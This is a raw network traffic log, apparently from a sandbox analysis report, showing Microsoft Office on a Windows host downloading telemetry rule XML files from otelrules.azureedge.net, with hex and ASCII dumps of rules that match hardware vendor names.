2024-11-20 20:05:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:03 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200503Z-r1d97b995777mdbwhC1TEBezag00000009d0000000000r10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:03 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:03 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200503Z-185f5d8b95cwtv72hC1NYC141w0000000ag0000000018q40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:03 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:03 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:03 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 02a2c6fa-b01e-0001-107b-3b46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200503Z-185f5d8b95cdtclvhC1NYC4rmc0000000atg00000000weus x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:03 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:03 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:03 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:03 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200503Z-178bfbc474bkvpdnhC1NYCuu2w00000000m00000000031wv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:03 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:05 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:05 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200505Z-1777c6cb7549j9hhhC1TEBzmcc00000009zg00000000dz5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:05 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:05 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:05 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 4e7b5ce8-701e-0098-117a-3b395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200505Z-185f5d8b95c9mqtvhC1NYCghtc0000000ang00000001c156 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:06 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:05 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:05 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200505Z-178bfbc474bmqmgjhC1NYCy16c00000000d0000000005hzn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:06 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:05 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:05 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200505Z-178bfbc474blv55whC1NYCpz4800000000m000000000mpsr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:06 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:05 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200505Z-1777c6cb7549x5qchC1TEBggbg0000000a4g00000000c3kn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:06 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:07 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:07 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200507Z-1777c6cb754xlpjshC1TEBv8cc0000000a6000000000er4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:08 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:07 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:08 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200508Z-1777c6cb754wcxkwhC1TEB3c6w00000009zg00000000etba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:08 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:07 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
